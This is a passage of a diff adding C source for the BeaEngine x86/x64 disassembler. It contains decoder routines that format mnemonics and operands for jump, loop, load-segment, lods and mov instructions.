BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X",(Int64) MyAddress); + #endif + } + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=2; + FillFlags(pMyDisasm,49); + } + else { + if (!Security(3, pMyDisasm)) return; + MyNumber = *((Int8*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+2+MyNumber, pMyDisasm); + MyAddress = MyAddress & 0xffff; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.4X",(Int64) MyAddress); + #endif + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=2; + FillFlags(pMyDisasm,49); + } +} + +/* ======================================= + * 0e9h + * ======================================= */ +void __bea_callspec__ jmp_near(PDISASM pMyDisasm) +{ + UInt64 MyAddress; + long MyNumber; + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + (*pMyDisasm).Instruction.BranchType = JmpType; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Argument1.ArgSize = GV.OperandSize; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jmp "); + #endif + if (GV.OperandSize >= 32) { + if (!Security(5, pMyDisasm)) return; + MyNumber = *((Int32*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+5+MyNumber, pMyDisasm); + if (MyAddress >= W64LIT (0x100000000)) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X",(Int64) MyAddress); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X",(Int64) MyAddress); + #endif + } + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=5; + FillFlags(pMyDisasm,49); + } + else { + if (!Security(3, pMyDisasm)) return; + MyNumber = *((Int16*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+3+MyNumber, pMyDisasm); + MyAddress = MyAddress & 0xffff; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.4X",(Int64) MyAddress); + #endif + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=3; + FillFlags(pMyDisasm,49); + } +} + + +/* ======================================= + * 0ebh + * ======================================= */ +void __bea_callspec__ jmp_short(PDISASM pMyDisasm) +{ + UInt64 MyAddress = 0; + signed long MyNumber = 0; + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + (*pMyDisasm).Instruction.BranchType = JmpType; + (*pMyDisasm).Argument1.ArgSize = GV.OperandSize; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jmp "); + #endif + if (!Security(1, pMyDisasm)) return; + MyNumber = *((Int8*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+2+MyNumber, pMyDisasm); + if (GV.OperandSize == 16) MyAddress = MyAddress & 0xffff; + if (MyAddress >= W64LIT (0x100000000)) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X",(Int64) MyAddress); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X",(Int64) MyAddress); + #endif + } + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=2; + FillFlags(pMyDisasm,49); +} + + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ jmp_far(PDISASM pMyDisasm) +{ + UInt32 MyNumber; + UInt64 MyAddress; + size_t i = 0; + if (GV.Architecture == 64) { + FailDecode(pMyDisasm); + } + else { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + (*pMyDisasm).Instruction.BranchType = JmpType; + (*pMyDisasm).Argument1.AccessMode = READ; + if (GV.SYNTAX_ == ATSyntax) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "ljmp "); + #endif + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic,"\x24"); + #endif + i++; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jmp far "); + #endif + } + if (GV.OperandSize ==32) { + if (!Security(7, pMyDisasm)) return; + MyNumber = *((UInt16*)(UIntPtr) (GV.EIP_+5)); + #ifndef BEA_LIGHT_DISASSEMBLY + i += CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument1.ArgMnemonic+i, "%.4X",(Int64) MyNumber); + #endif + } + else { + if (!Security(5, pMyDisasm)) return; + MyNumber = *((UInt16*)(UIntPtr) (GV.EIP_+3)); + #ifndef BEA_LIGHT_DISASSEMBLY + i += CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument1.ArgMnemonic+i, "%.4X",(Int64) MyNumber); + #endif + } + if (GV.SYNTAX_ == ATSyntax) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic+i, " , \x24"); + #endif + i+=4; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic+i, " : "); + #endif + i+=3; + } + MyAddress = MyNumber*16; + MyNumber = *((UInt32*)(UIntPtr) (GV.EIP_+1)); + if (GV.OperandSize == 16) { + MyNumber = MyNumber & 0xffff; + } + #ifndef BEA_LIGHT_DISASSEMBLY + i += CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument1.ArgMnemonic+i, "%.8X",(Int64) MyNumber); + #endif + if (GV.OperandSize == 32) { + GV.EIP_+=7; + } + else { + GV.EIP_+=5; + } + (*pMyDisasm).Instruction.AddrValue = MyAddress + MyNumber; + } +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ lahf_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+FLAG_CONTROL_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "lahf "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 8; + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+SPECIAL_REG+REG0; + (*pMyDisasm).Argument2.ArgSize = 8; + GV.EIP_++; +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ lar_GvEw(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "lar "); + #endif + GvEw(pMyDisasm); + FillFlags(pMyDisasm, 53); +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ lds_GvM(PDISASM pMyDisasm) +{ + /* if MOD == 11b, invalid instruction */ + /* or VEX Prefix - implemented in next release (AVX) */ + + if (GV.Architecture == 64) { + FailDecode(pMyDisasm); + } + else { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SEGMENT_REGISTER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "lds "); + #endif + if (GV.OperandSize == 32) { + GV.MemDecoration = Arg2fword; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + GV.EIP_+= GV.DECALAGE_EIP+2; + } + else { + GV.MemDecoration = Arg2dword; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + GV.EIP_+= GV.DECALAGE_EIP+2; + } + } +} + +/* ======================================= + * 0c9h + * ======================================= */ +void __bea_callspec__ leave_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "leave "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG4; + (*pMyDisasm).Argument1.ArgSize = 32; + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+SPECIAL_REG+REG5; + (*pMyDisasm).Argument2.ArgSize = 32; + GV.EIP_++; +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ lea_GvM(PDISASM pMyDisasm) +{ + + /* if MOD == 11b, invalid instruction */ + /* or VEX Prefix - implemented in next release (AVX) */ + + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+MISCELLANEOUS_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "lea "); + #endif + if (GV.OperandSize >= 32) { + if (GV.OperandSize == 64) { + GV.MemDecoration = Arg2qword; + } + else { + GV.MemDecoration = Arg2dword; + } + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + GV.EIP_+= GV.DECALAGE_EIP+2; + } + else { + GV.MemDecoration = Arg2word; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + GV.EIP_+= GV.DECALAGE_EIP+2; + } + +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ les_GvM(PDISASM pMyDisasm) +{ + + if (GV.Architecture == 64) { + FailDecode(pMyDisasm); + } + else { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SEGMENT_REGISTER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "les "); + #endif + if (GV.OperandSize == 32) { + GV.MemDecoration = Arg2fword; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + GV.EIP_+= GV.DECALAGE_EIP+2; + } + else { + GV.MemDecoration = Arg2dword; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + GV.EIP_+= GV.DECALAGE_EIP+2; + } + } +} + +/* ======================================= + * 0ach + * ======================================= */ +void __bea_callspec__ lodsb_(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.RepnePrefix == SuperfluousPrefix) { + (*pMyDisasm).Prefix.RepnePrefix = InUsePrefix; + } + if ((*pMyDisasm).Prefix.RepPrefix == SuperfluousPrefix) { + (*pMyDisasm).Prefix.RepPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+STRING_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "lodsb "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 8; + (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument2.Memory.BaseRegister = REG6; + (*pMyDisasm).Argument2.ArgSize = 8; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG+REG6; + GV.EIP_++; + FillFlags(pMyDisasm, 59); +} + +/* ======================================= + * 0adh + * ======================================= */ +void __bea_callspec__ lodsw_(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.RepnePrefix == SuperfluousPrefix) { + (*pMyDisasm).Prefix.RepnePrefix = InUsePrefix; + } + if ((*pMyDisasm).Prefix.RepPrefix == SuperfluousPrefix) { + (*pMyDisasm).Prefix.RepPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+STRING_INSTRUCTION; + if (GV.OperandSize == 64) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "lodsq "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 64; + (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument2.Memory.BaseRegister = REG6; + (*pMyDisasm).Argument2.ArgSize = 64; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG+REG6; + GV.EIP_++; + FillFlags(pMyDisasm, 59); + } + else if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "lodsd "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 32; + (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument2.Memory.BaseRegister = REG6; + (*pMyDisasm).Argument2.ArgSize = 32; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG+REG6; + GV.EIP_++; + FillFlags(pMyDisasm, 59); + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "lodsw "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument2.Memory.BaseRegister = REG6; + (*pMyDisasm).Argument2.ArgSize = 16; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG+REG6; + GV.EIP_++; + FillFlags(pMyDisasm, 59); + } +} + +/* ======================================= + * 0e2h + * ======================================= */ +void __bea_callspec__ loop_(PDISASM pMyDisasm) +{ + signed long MyNumber; + UInt64 MyAddress; + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + (*pMyDisasm).Instruction.BranchType = JE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "loop "); + #endif + if (!Security(1, pMyDisasm)) return; + if (GV.OperandSize >= 32) { + MyNumber = *((Int8*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+2+MyNumber, pMyDisasm); + if (MyAddress >= W64LIT (0x100000000)) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X",(Int64) MyAddress); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X",(Int64) MyAddress); + #endif + } + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Argument1.ArgSize = GV.OperandSize; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG+REG1; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=2; + FillFlags(pMyDisasm, 60); + } + else { + MyNumber = *((Int8*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+2+MyNumber, pMyDisasm); + MyAddress = MyAddress & 0xffff; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.4X",(Int64) MyAddress); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Argument1.ArgSize = GV.OperandSize; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG+REG1; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=2; + FillFlags(pMyDisasm, 60); + + } +} + +/* ======================================= + * 0xe0 + * ======================================= */ +void __bea_callspec__ loopne_(PDISASM pMyDisasm) +{ + signed long MyNumber; + UInt64 MyAddress; + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + (*pMyDisasm).Instruction.BranchType = JNE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "loopne "); + #endif + if (!Security(1, pMyDisasm)) return; + if (GV.OperandSize >= 32) { + MyNumber = *((Int8*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+2+MyNumber, pMyDisasm); + if (MyAddress >= W64LIT (0x100000000)) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X",(Int64) MyAddress); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X",(Int64) MyAddress); + #endif + } + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Argument1.ArgSize = GV.OperandSize; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG+REG1; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=2; + FillFlags(pMyDisasm, 61); + } + else { + MyNumber = *((Int8*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+2+MyNumber, pMyDisasm); + MyAddress = MyAddress & 0xffff; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.4X",(Int64) MyAddress); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Argument1.ArgSize = GV.OperandSize; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG+REG1; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=2; + FillFlags(pMyDisasm, 61); + + } +} + +/* ======================================= + * 0xe1 + * ======================================= */ +void __bea_callspec__ loope_(PDISASM pMyDisasm) +{ + signed long MyNumber; + UInt64 MyAddress; + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + (*pMyDisasm).Instruction.BranchType = JE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "loope "); + #endif + if (!Security(1, pMyDisasm)) return; + if (GV.OperandSize >= 32) { + MyNumber = *((Int8*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+2+MyNumber, pMyDisasm); + if (MyAddress >= W64LIT (0x100000000)) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X",(Int64) MyAddress); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X",(Int64) MyAddress); + #endif + } + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Argument1.ArgSize = GV.OperandSize; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG+REG1; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=2; + FillFlags(pMyDisasm, 61); + } + else { + MyNumber = *((Int8*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+2+MyNumber, pMyDisasm); + MyAddress = MyAddress & 0xffff; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.4X",(Int64) MyAddress); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Argument1.ArgSize = GV.OperandSize; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG+REG1; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=2; + FillFlags(pMyDisasm, 61); + + } +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ lsl_GvEw(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "lsl "); + #endif + GvEw(pMyDisasm); + FillFlags(pMyDisasm, 62); +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ lss_Mp(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SEGMENT_REGISTER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "lss "); + #endif + GvEv(pMyDisasm); +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ lfs_Mp(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SEGMENT_REGISTER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "lfs "); + #endif + GvEv(pMyDisasm); +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ lgs_Mp(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SEGMENT_REGISTER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "lgs "); + #endif + GvEv(pMyDisasm); +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ mov_RdCd(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + if (GV.MOD_== 3) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov "); + #endif + GV.CR_ = 1; + Reg_Opcode(&(*pMyDisasm).Argument2, pMyDisasm); + GV.CR_ = 0; + FillFlags(pMyDisasm,67); + GV.EIP_ += GV.DECALAGE_EIP+2; + } + else { + FailDecode(pMyDisasm); + } +} + + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ mov_RdDd(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + if (GV.MOD_== 3) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov "); + #endif + GV.DR_ = 1; + Reg_Opcode(&(*pMyDisasm).Argument2, pMyDisasm); + GV.DR_ = 0; + FillFlags(pMyDisasm,67); + GV.EIP_ += GV.DECALAGE_EIP+2; + } + else { + FailDecode(pMyDisasm); + } +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ mov_CdRd(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + if (GV.MOD_== 3) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov "); + #endif + GV.CR_ = 1; + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + GV.CR_ = 0; + FillFlags(pMyDisasm,67); + GV.EIP_ += GV.DECALAGE_EIP+2; + } + else { + FailDecode(pMyDisasm); + } +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ mov_DdRd(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + if (GV.MOD_== 3) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov "); + #endif + GV.DR_ = 1; + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + GV.DR_ = 0; + FillFlags(pMyDisasm,67); + GV.EIP_ += GV.DECALAGE_EIP+2; + } + else { + FailDecode(pMyDisasm); + } +} + +/* ======================================= + * 88h + * ======================================= */ +void __bea_callspec__ mov_EbGb(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov "); + #endif + EbGb(pMyDisasm); +} + +/* ======================================= + * 89h + * ======================================= */ +void __bea_callspec__ mov_EvGv(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov "); + #endif + EvGv(pMyDisasm); +} + +/* ======================================= + * 8ah + * ======================================= */ +void __bea_callspec__ mov_GbEb(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov "); + #endif + GbEb(pMyDisasm); +} + +/* ======================================= + * 8bh + * ======================================= */ +void __bea_callspec__ mov_GvEv(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov "); + #endif + GvEv(pMyDisasm); +} + +/* ======================================= + * 0a0h + * ======================================= */ +void __bea_callspec__ mov_ALOb(PDISASM pMyDisasm) +{ + UInt64 MyAddress; + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov "); + #endif + GV.MemDecoration = Arg2byte; + GV.RM_ = 5; + GV.MOD_= 0; + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 8; + (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE ; + (*pMyDisasm).Argument2.ArgSize = 8; + if (GV.AddressSize == 64) { + if (!Security(9, pMyDisasm)) return; + MyAddress = *((UInt64 *)(UIntPtr) (GV.EIP_+1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument2.ArgMnemonic, "%I64X",(Int64) MyAddress); + #endif + GV.EIP_+=9; + (*pMyDisasm).Argument2.Memory.Displacement = (Int64)MyAddress; + } + else if (GV.AddressSize == 32) { + if (!Security(5, pMyDisasm)) return; + MyAddress = *((UInt32*)(UIntPtr) (GV.EIP_+1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument2.ArgMnemonic, "%.8X",(Int64) MyAddress); + #endif + GV.EIP_+=5; + (*pMyDisasm).Argument2.Memory.Displacement = (Int64)MyAddress; + } + else { + if (!Security(3, pMyDisasm)) return; + MyAddress = *((UInt16*)(UIntPtr) (GV.EIP_+1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument2.ArgMnemonic, "%.4X",(Int64) MyAddress); + #endif + GV.EIP_+=3; + (*pMyDisasm).Argument2.Memory.Displacement = (Int64)MyAddress; + } + + if (GV.REX.B_ == 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers8Bits[0]); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers8Bits[0+8]); + #endif + } + +} + +/* 